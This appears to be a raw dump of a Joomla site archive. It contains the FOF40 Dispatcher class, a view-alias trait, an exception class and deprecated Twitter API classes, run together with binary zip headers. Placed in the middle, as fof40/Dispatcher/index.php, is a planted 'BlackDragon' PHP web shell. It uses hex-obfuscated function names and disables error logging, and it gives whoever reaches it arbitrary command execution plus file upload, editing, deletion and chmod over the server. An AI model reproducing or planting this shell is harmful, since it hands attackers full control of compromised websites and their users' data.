/** @var bool Is this user transparently logged in? */ protected $isTransparentlyLoggedIn = false; /** * Public constructor * * The $config array can contain the following optional values: * defaultView string The view to render if none is specified in $input * * Do note that $config is passed to the Controller and through it to the Model and View. Please see these classes * for more information on the configuration variables they accept. * * @param Container $container * @param array $config */ public function __construct(Container $container, array $config = []) { $this->container = $container; $this->config = $config; $this->defaultView = $container->appConfig->get('dispatcher.defaultView', $this->defaultView); if (isset($config['defaultView'])) { $this->defaultView = $config['defaultView']; } $this->supportCustomViewAndTaskParameters(); // Get the default values for the view and layout names $this->view = $this->input->getCmd('view', null); $this->layout = $this->input->getCmd('layout', null); // Not redundant; you may pass an empty but non-null view which is invalid, so we need the fallback if (empty($this->view)) { $this->view = $this->defaultView; $this->container->input->set('view', $this->view); } } /** * Magic get method. Handles magic properties: * $this->input mapped to $this->container->input * * @param string $name The property to fetch * * @return mixed|null */ public function __get(string $name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } // Property not found; raise error $trace = debug_backtrace(); trigger_error( 'Undefined property via __get(): ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE); return null; } /** * The main code of the Dispatcher. It spawns the necessary controller and * runs it. * * @return void * * @throws AccessForbidden When the access is forbidden * @throws Exception For displaying an error page */ public function dispatch(): void { // Load the translations for this component; $this->container->platform->loadTranslations($this->container->componentName); // Perform transparent authentication if ($this->container->platform->getUser()->guest) { $this->transparentAuthenticationLogin(); } // Get the event names (different for CLI) $onBeforeEventName = 'onBeforeDispatch'; $onAfterEventName = 'onAfterDispatch'; if ($this->container->platform->isCli()) { $onBeforeEventName = 'onBeforeDispatchCLI'; $onAfterEventName = 'onAfterDispatchCLI'; } try { $result = $this->triggerEvent($onBeforeEventName); $error = ''; } catch (\Exception $e) { $result = false; $error = $e->getMessage(); } if ($result === false) { if ($this->container->platform->isCli()) { $this->container->platform->setHeader('Status', '403 Forbidden', true); } $this->transparentAuthenticationLogout(); $this->container->platform->showErrorPage(new AccessForbidden); } // Get and execute the controller $view = $this->input->getCmd('view', $this->defaultView); $task = $this->input->getCmd('task', 'default'); if (empty($task)) { $task = 'default'; $this->input->set('task', $task); } try { $this->controller = $this->container->factory->controller($view, $this->config); $status = $this->controller->execute($task); } catch (Exception $e) { $this->container->platform->showErrorPage($e); // Redundant; just to make code sniffers happy return; } if ($status !== false) { try { $this->triggerEvent($onAfterEventName); } catch (\Exception $e) { $status = false; } } if ($status === false) { if ($this->container->platform->isCli()) { $this->container->platform->setHeader('Status', '403 Forbidden', true); } $this->transparentAuthenticationLogout(); $this->container->platform->showErrorPage(new AccessForbidden); } $this->transparentAuthenticationLogout(); $this->controller->redirect(); } /** * Returns a reference to the Controller object currently in use by the dispatcher * * @return Controller|null */ public function &getController(): ?Controller { return $this->controller; } /** * Triggers an object-specific event. The event runs both locally –if a suitable method exists– and through the * Joomla! plugin system. A true/false return value is expected. The first false return cancels the event. * * EXAMPLE * Component: com_foobar, Object name: item, Event: onBeforeDispatch, Arguments: array(123, 456) * The event calls: * 1. $this->onBeforeDispatch(123, 456) * 2. Joomla! plugin event onComFoobarDispatcherBeforeDispatch($this, 123, 456) * * @param string $event The name of the event, typically named onPredicateVerb e.g. onBeforeKick * @param array $arguments The arguments to pass to the event handlers * * @return bool */ protected function triggerEvent(string $event, array $arguments = []): bool { $result = true; // If there is an object method for this event, call it if (method_exists($this, $event)) { $result = $this->{$event}(...$arguments); } if ($result === false) { return false; } // All other event handlers live outside this object, therefore they need to be passed a reference to this // objects as the first argument. array_unshift($arguments, $this); // If we have an "on" prefix for the event (e.g. onFooBar) remove it and stash it for later. $prefix = ''; if (substr($event, 0, 2) == 'on') { $prefix = 'on'; $event = substr($event, 2); } // Get the component/model prefix for the event $prefix .= 'Com' . ucfirst($this->container->bareComponentName) . 'Dispatcher'; // The event name will be something like onComFoobarItemsBeforeSomething $event = $prefix . $event; // Call the Joomla! plugins $results = $this->container->platform->runPlugins($event, $arguments); return !in_array(false, $results, true); } /** * Handles the transparent authentication log in */ protected function transparentAuthenticationLogin(): void { /** @var TransparentAuthentication $transparentAuth */ $transparentAuth = $this->container->transparentAuth; $authInfo = $transparentAuth->getTransparentAuthenticationCredentials(); if (empty($authInfo)) { return; } $this->isTransparentlyLoggedIn = $this->container->platform->loginUser($authInfo); } /** * Handles the transparent authentication log out */ protected function transparentAuthenticationLogout(): void { if (!$this->isTransparentlyLoggedIn) { return; } /** @var TransparentAuthentication $transparentAuth */ $transparentAuth = $this->container->transparentAuth; if (!$transparentAuth->getLogoutOnExit()) { return; } $this->container->platform->logoutUser(); } /** * Adds support for akview/aktask in lieu of view and task. * * This is for future-proofing FOF in case Joomla assigns special meaning to view and task, e.g. by trying to find a * specific controller / task class instead of letting the component's front-end router handle it. If that happens * FOF components can have a single Joomla-compatible view/task which launches the Dispatcher and perform internal * routing using akview/aktask. * * @return void * @since 3.6.3 */ private function supportCustomViewAndTaskParameters() { $view = $this->input->getCmd('akview', null); $task = $this->input->getCmd('aktask', null); if (!is_null($view)) { $this->input->remove('akview'); $this->input->set('view', $view); } if (!is_null($task)) { $this->input->remove('aktask'); $this->input->set('task', $task); } } } PK���\+:r<SSfof40/Dispatcher/index.phpnu�[���<?php error_reporting(0); $iniarray = [ "7068705F756E616D65", # [0] "73657373696F6E5F7374617274", # [1] "6572726F725F7265706F7274696E67", # [2] "70687076657273696F6E", # [3] "66696C655F7075745F636F6E74656E7473", # [4] "66696C655F6765745F636F6E74656E7473", # [5] "66696C657065726D73", # [6] "66696C656D74696D65", # [7] "66696C6574797065", # [8] "68746D6C7370656369616C6368617273", # [9] "737072696E7466", # [10] "737562737472", # [11] "676574637764", # [12] "6368646972", # [13] "7374725F7265706C616365", # [14] "6578706C6F6465", # [15] "666C617368", # [16] "6D6F76655F75706C6F616465645F66696C65", # [17] "7363616E646972", # [18] "676574686F737462796E616D65", # [19] "7368656C6C5F65786563", # [20] "53797374656D20496E666F726D6174696F6E", # [21] "6469726E616D65", # [22] "64617465", # [23] "6D696D655F636F6E74656E745F74797065", # [24] "66756E6374696F6E5F657869737473", # [25] "6673697A65", # [26] "726D646972", # [27] "756E6C696E6B", # [28] "6D6B646972", # [29] "72656E616D65", # [30] "7365745F74696D655F6C696D6974", # [31] "636C656172737461746361636865", # [32] "696E695F736574", # [33] "696E695F676574", # [34] "6765744F776E6572", # [35] "6765745F63757272656E745F75736572" # [36] ]; for ($i = 0; $i < count($iniarray); $i++) { $func[$i] = hexa($iniarray[$i]); } $func[1](); $func[2](0); $func[31](0); @$func[32](); @$func[33]('error_log', null); @$func[33]('log_errors', 0); @$func[33]('max_execution_time', 0); @$func[33]('output_buffering', 0); @$func[33]('display_errors', 0); $ds = @$func[34]("disable_functions"); $show_ds = (!empty($ds)) ? "$ds" : "All function is accessible"; function fsize($file) { $a = ["B", "KB", "MB", "GB", "TB", "PB"]; $pos = 0; $size = filesize($file); while ($size >= 1024) { $size /= 1024; $pos++; } return round($size, 2)." ".$a[$pos]; } function hexa($str) { $r = ""; $len = (strlen($str) - 1); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec($str[$i].$str[$i + 1])); } return $r; } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } if (isset($_GET['dir'])) { $path = $_GET['dir']; $func[13]($_GET['dir']); } else { $path = $func[12](); } $path = $func[14]('\\', '/', $path); $exdir = $func[15]('/', $path); function getOwner($item) { if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } if (isset($_POST['newFolderName'])) { if ($func[29]($path . '/' . $_POST['newFolderName'])) { $func[16]("Create Folder Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Create Folder Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) { if ($func[4]($_POST['newFileName'], $_POST['newFileContent'])) { $func[16]("Create File Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Create File Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newName']) && isset($_GET['item'])) { if ($_POST['newName'] == '') { $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if ($func[30]($path. '/'. $_GET['item'], $_POST['newName'])) { $func[16]("Rename Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Rename Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newContent']) && isset($_GET['item'])) { if ($func[4]($path. '/'. $_GET['item'], $_POST['newContent'])) { $func[16]("Edit Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Edit Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newPerm']) && isset($_GET['item'])) { if ($_POST['newPerm'] == '') { $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) { $func[16]("Change Permission Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Change Permission", "Failed", "error", "?dir=$path"); } } if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) { if (is_dir($_GET['item'])) { if ($func[27]($_GET['item'])) { $func[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } else { if ($func[28]($_GET['item'])) { $func[16]("Delete Successfully!", "Success", "success", "?dir=$path"); } else { $func[16]("Delete Failed", "Failed", "error", "?dir=$path"); } } } if (isset($_FILES['uploadfile'])) { $total = count($_FILES['uploadfile']['name']); for ($i = 0; $i < $total; $i++) { $mainupload = $func[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]); } if ($total < 2) { if ($mainupload) { $func[16]("Upload File Successfully! ", "Success", "success", "?dir=$path"); } else { $func[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } else{ if ($mainupload) { $func[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path"); } else { $func[16]("Upload Failed", "Failed", "error", "?dir=$path"); } } } $dirs = $func[18]($path); ?> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous"> <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/> <title>GOOGLE</title> </head> <body class="bg-dark text-light"> <div class="container-fluid"> <div class="py-3" id="main"> <div class="box shadow bg-dark p-4 rounded-3"> <div class="info mb-3"> <center><h1 style="color:white;">Graybyt3 Was Here</h1></center> <i class="fa fa-server"></i> <?= $func[0]() ?><br> <i class="fa fa-microchip"></i> <?= $_SERVER['SERVER_SOFTWARE'] ?><br> <i class="fa fa-satellite-dish"></i> <?= !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?> </div> <div class="breadcrumb"> <i class="fa fa fa-folder pt-1"></i> <?php foreach ($exdir as $id => $pat) : if ($pat == '' && $id == 0): ?> <a href="?dir=/" class="text-decoration-none text-light">/</a> <?php endif; if ($pat == '') continue; ?> <?php if ($id + 1 == count($exdir)) : ?> <span class="text-secondary"><?= $pat ?></span> <?php else : ?> <a href="?dir= <?php for ($i = 0; $i <= $id; $i++) { echo "$exdir[$i]"; if ($i != $id) echo "/"; } ?> " class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span> <?php endif; ?> <?php endforeach; ?> <a href="?" class="text-decoration-none text-light"> [ HOME ]</a> </div> <div class="d-flex justify-content-between"> <div class="p-2"> <form action="" method="post"> <div class="row"> <div class="col-md-9 mb-3"> <input type="text" class="form-control form-control-sm" name="command" placeholder="Command"> </div> <div class="col-md-3"> <button type="submit" class="btn btn-outline-light btn-sm">Exec</button> </div> </div> </form> </div> <div class="p-2"> <form action="" method="post" enctype="multipart/form-data"> <div class="row"> <div class="col-md-9 mb-3"> <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload"> </div> <div class="col-md-3"> <button type="submit" class="btn btn-outline-light btn-sm">Submit</button> </div> </div> </form> </div> </div> <div class="container" id="tools"> <?php if (isset($_POST['command'])) : ?> <div class="row justify-content-center"> <pre><?= $func[20]($_POST['command']) ?></pre> </div> <?php endif; ?> <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?> <div class="row justify-content-center"> <?php if ($action == 'rename' && isset($_GET['item'])) : ?> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label">New Name</label> <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>"> </div> <button type="submit" class="btn btn-outline-light">Submit</button> <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button> </form> <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label"><?= $_GET['item'] ?></label> <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= $func[9]($func[5]($path. '/'. $_GET['item'])) ?></textarea> </div> <button type="submit" class="btn btn-outline-light">Submit</button> <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button> <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button> </form> <?php elseif ($action == 'view' && isset($_GET['item'])) : ?> <div class="mb-3"> <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label> <textarea name="newContent" rows="10" class="form-control" disabled=""><?= $func[9]($func[5]($path. '/'. $_GET['item'])) ?></textarea> <br> <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button> </div> <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label"><?= $_GET['item'] ?></label> <input type="text" class="form-control" name="newPerm" value="<?= $func[11]($func[10]('%o', $func[6]($_GET['item'])), -4); ?>"> </div> <button type="submit" class="btn btn-outline-light">Submit</button> <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button> </form> <?php endif; ?> </div> <?php endif; ?> <div class="row justify-content-center"> <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;"> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label">Folder Name</label> <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon"> </div> <button type="submit" class="btn btn-outline-light">Submit</button> </form> </div> <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;"> <form action="" method="post"> <div class="mb-3"> <label for="name" class="form-label">File Name</label> <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php"> </div> <div class="mb-3"> <label for="name" class="form-label">File Content</label> <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea> </div> <button type="submit" class="btn btn-outline-light">Submit</button> </form> </div> <div class="collapse" id="newInfoServer" data-bs-parent="#tools" style="transition:none;"> <div class="mb-3"> <label for="name" class="form-label"><?= $func[21] ?></label> <textarea name="newFileContent" rows="10" class="form-control" disabled="">Uname > <?= $func[0]() ?> Software > <?= $_SERVER['SERVER_SOFTWARE'] ?> PHP > <?= $func[3]() ?> Protocol > <?= $_SERVER['SERVER_PROTOCOL'] ?> IP / Port > <?= !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?> / <?= $_SERVER['SERVER_PORT'] ?> Mail > <?= $func[25]('mail') ? 'ON' : 'OFF' ?> Curl > <?= $func[25]('curl_version') ? 'ON' : 'OFF' ?> Owner > <?= $func[36](); ?> MySQL > <?= $func[25]('mysql_connect') ? 'ON' : 'OFF' ?> Disable Function > <?= $show_ds ?></textarea> <br> *ReClick For Close <br> File : BlackDragon <?= $_SERVER['SCRIPT_NAME'] ?> </div> </div> </div> </div> <div class="table-responsive"> <table class="table table-hover table-dark text-light"> <thead> <tr> <td style="width:35%">Name</td> <td style="width:10%">Type</td> <td style="width:10%">Size</td> <td style="width:13%">Owner/Group</td> <td style="width:10%">Permission</td> <td style="width:13%">Last Modified</td> <td style="width:9%">Actions</td> </tr> </thead> <tbody class="text-nowrap"> <?php foreach ($dirs as $dir) : if (!is_dir($dir)) continue; ?> <tr> <td> <?php if ($dir === '..') : ?> <a href="?dir=<?= $func[22]($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a> <?php elseif ($dir === '.') : ?> <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a> <?php else : ?> <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a> <?php endif; ?> </td> <td class="text-light"><?= $func[8]($dir) ?></td> <td class="text-light">-</td> <td class="text-light"><?= $func[35]($dir) ?></td> <td class="text-light"><?= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?></td> <td class="text-light"><?= $func[23]("Y-m-d h:i:s", $func[7]($dir)); ?></td> <td> <?php if ($dir != '.' && $dir != '..') : ?> <div class="btn-group"> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a> <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a> </div> <?php elseif ($dir === '.') : ?> <div class="btn-group"> <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a> <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a> <a data-bs-toggle="collapse" href="#newInfoServer" role="button" aria-expanded="false" aria-controls="newInfoServer" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-info"></i></a> </div> <?php endif; ?> </td> </tr> <?php endforeach; ?> <?php foreach ($dirs as $dir) : if (!is_file($dir)) continue; ?> <tr> <td> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a> </td> <td class="text-light"><?= ($func[25]('mime_content_type') ? $func[24]($dir) : $func[8]($dir)) ?></td> <td class="text-light"><?= $func[26]($dir) ?></td> <td class="text-light"><?= $func[35]($dir) ?></td> <td class="text-light"><?= $func[11]($func[10]('%o', $func[6]($dir)), -4); ?></td> <td class="text-light"><?= $func[23]("Y-m-d h:i:s", $func[7]($dir)); ?></td> <td> <?php if ($dir != '.' && $dir != '..') : ?> <div class="btn-group"> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a> <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a> <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a> </div> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div class="text-light">© BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script> <script> <?php if (isset($_SESSION['message'])) : ?> Swal.fire( '<?= $_SESSION['status'] ?>', '<?= $_SESSION['message'] ?>', '<?= $_SESSION['class'] ?>' ) <?php endif; clear(); ?> function deleteConfirm(url) { event.preventDefault() Swal.fire({ title: 'Are you sure?', icon: 'warning', showCancelButton: true, confirmButtonColor: '#3085d6', cancelButtonColor: '#d33', confirmButtonText: 'Yes, delete it!' }).then((result) => { if (result.isConfirmed) { window.location.href = url } }) } function jscopy() { var jsCopy = document.getElementById("CopyFromTextArea"); jsCopy.focus(); jsCopy.select(); document.execCommand("copy"); } </script> </body> </html>PK���\�O!x� � &fof40/Dispatcher/Mixin/ViewAliases.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Dispatcher\Mixin; defined('_JEXEC') || die; // Protect from unauthorized access use FOF40\Dispatcher\Dispatcher; use Joomla\CMS\Uri\Uri; /** * Lets you create view aliases. When you access a view alias the real view is loaded instead. You can optionally have * an HTTPS 301 redirection for GET requests to URLs that use the view name alias. * * IMPORTANT: This is a mixin (or, as we call it in PHP, a trait). Traits require PHP 5.4 or later. If you opt to use * this trait your component will no longer work under PHP 5.3. * * Usage: * * • Override $viewNameAliases with your view names map. * • If you want to issue HTTP 301 for GET requests set $permanentAliasRedirectionOnGET to true. * • If you have an onBeforeDispatch method remember to alias and call this traits' onBeforeDispatch method at the top. * * Regarding the last point, if you've never used traits before, the code looks like this. Top of the class: * use ViewAliases { * onBeforeDispatch as onBeforeDispatchViewAliases; * } * and inside your custom onBeforeDispatch method, the first statement should be: * $this->onBeforeDispatchViewAliases(); * Simple! */ trait ViewAliases { /** * Maps view name aliases to actual views. The format is 'alias' => 'RealView'. * * @var array */ protected $viewNameAliases = []; /** * If set to true, any GET request to the alias view will result in an HTTP 301 permanent redirection to the real * view name. * * This does NOT apply to POST, PUT, DELETE etc URLs. When you submit form data you cannot have a redirection. The * browser will _typically_ not resend the submitted data. * * @var bool */ protected $permanentAliasRedirectionOnGET = false; /** * Transparently replaces old view names with their counterparts. * * If you are overriding this method in your component remember to alias it and call it from your overridden method. */ protected function onBeforeDispatch(): void { if (!array_key_exists($this->view, $this->viewNameAliases)) { return; } $this->view = $this->viewNameAliases[$this->view]; $this->container->input->set('view', $this->view); // Perform HTTP 301 Moved permanently redirection on GET requests if requested to do so if ($this->permanentAliasRedirectionOnGET && isset($_SERVER['REQUEST_METHOD']) && (strtoupper($_SERVER['REQUEST_METHOD']) == 'GET') ) { $url = Uri::getInstance(); $url->setVar('view', $this->view); $this->container->platform->redirect($url, 301); } } } PK���\8wOG��.fof40/Dispatcher/Exception/AccessForbidden.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Dispatcher\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when the access to the requested resource is forbidden under the current execution context */ class AccessForbidden extends RuntimeException { public function __construct(string $message = "", int $code = 403, Exception $previous = null) { if (empty($message)) { $message = Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'); } parent::__construct($message, $code, $previous); } } PK���\�V� index.htmlnu�[���<!DOCTYPE html><title></title> PK���\3_l���joomla/twitter/block.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Block class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterBlock extends JTwitterObject { /** * Method to get the user ids the authenticating user is blocking. * * @param boolean $stringifyIds Provide this option to have ids returned as strings instead. * @param integer $cursor Causes the list of IDs to be broken into pages of no more than 5000 IDs at a time. The number of IDs returned * is not guaranteed to be 5000 as suspended users are filtered out after connections are queried. If no cursor * is provided, a value of -1 will be assumed, which is the first "page." * * @return array The decoded JSON response * * @since 3.1.4 */ public function getBlocking($stringifyIds = null, $cursor = null) { // Check the rate limit for remaining hits $this->checkRateLimit('blocks', 'ids'); $data = array(); // Check if stringify_ids is specified if (!is_null($stringifyIds)) { $data['stringify_ids'] = $stringifyIds; } // Check if cursor is specified if (!is_null($stringifyIds)) { $data['cursor'] = $cursor; } // Set the API path $path = '/blocks/ids.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to block the specified user from following the authenticating user. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities,". This node offers a * variety of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function block($user, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('blocks', 'create'); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_statuses is specified if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Set the API path $path = '/blocks/create.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to unblock the specified user from following the authenticating user. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities,". This node offers a * variety of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function unblock($user, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('blocks', 'destroy'); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_statuses is specified if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Set the API path $path = '/blocks/destroy.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } } PK���\�1�((joomla/twitter/users.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Users class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterUsers extends JTwitterObject { /** * Method to get up to 100 users worth of extended information, specified by either ID, screen name, or combination of the two. * * @param string $screenName A comma separated list of screen names, up to 100 are allowed in a single request. * @param string $id A comma separated list of user IDs, up to 100 are allowed in a single request. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities,". This node offers a variety of * metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getUsersLookup($screenName = null, $id = null, $entities = null) { // Check the rate limit for remaining hits $this->checkRateLimit('users', 'lookup'); // Set user IDs and screen names. if ($id) { $data['user_id'] = $id; } if ($screenName) { $data['screen_name'] = $screenName; } if ($id == null && $screenName == null) { // We don't have a valid entry throw new RuntimeException('You must specify either a comma separated list of screen names, user IDs, or a combination of the two'); } // Set the API path $path = '/users/lookup.json'; // Check if string_ids is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to access the profile banner in various sizes for the user with the indicated screen_name. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getUserProfileBanner($user) { // Check the rate limit for remaining hits $this->checkRateLimit('users', 'profile_banner'); // Set the API path $path = '/users/profile_banner.json'; // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method used to search for users * * @param string $query The search query to run against people search. * @param integer $page Specifies the page of results to retrieve. * 